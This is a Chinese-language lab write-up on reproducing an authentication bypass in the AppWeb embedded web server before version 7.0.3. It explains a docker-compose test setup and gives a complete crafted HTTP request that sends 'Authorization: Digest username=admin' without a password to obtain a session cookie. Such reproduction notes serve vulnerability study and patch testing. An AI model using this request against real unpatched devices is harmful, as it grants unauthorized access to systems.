AppWeb是基于开源 GPL 协议的嵌入式 Web 服务器,由 Embedthis Software LLC 开发和维护。 它是用 C/C++ 编写的,几乎可以在任何现代操作系统上运行。
它旨在为嵌入式设备提供一个 Web 应用程序容器。
AppWeb可以配置认证,包括以下三种认证方式:
basic
,传统的HTTP基本认证digest
,改进了 HTTP 基本身份验证。 在此模式下,Cookie 将用于身份验证而不是Authorization
标题。form
, 基于 HTML 的表单认证
在7.0.3之前的Appweb版本中,存在与authCondition函数相关的逻辑缺陷 http/httpLib.c
. 使用伪造的 HTTP 请求,可以绕过身份验证 form
和 digest
登录类型。
漏洞环境
通过docker-compose启动 Appweb 7.0.1 服务器 digest
通过执行以下命令进行身份验证:
docker-compose up -d
访问 http://your-ip:8080
,您需要输入您的帐户密码。

漏洞复现
利用该漏洞需要知道一个已存在的用户名(漏洞局限性),当前用户名是 admin
,构造头Authorization: Digest username=admin,并发送数据包绕过验证,因此您可以使用以下请求绕过身份验证:
GET / HTTP/1.1
Host: example.com
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Authorization: Digest username=admin
如您所见,由于我们没有传入密码字段,因此服务器错误发生在 200 status code
和会话设置标题:

返回200 ok,并返回了set-cookies,成功绕过!
通过burp,发送POST请求,添加session到HTTP 头信息和用户名后,发送数据包。
成功绕过认证:
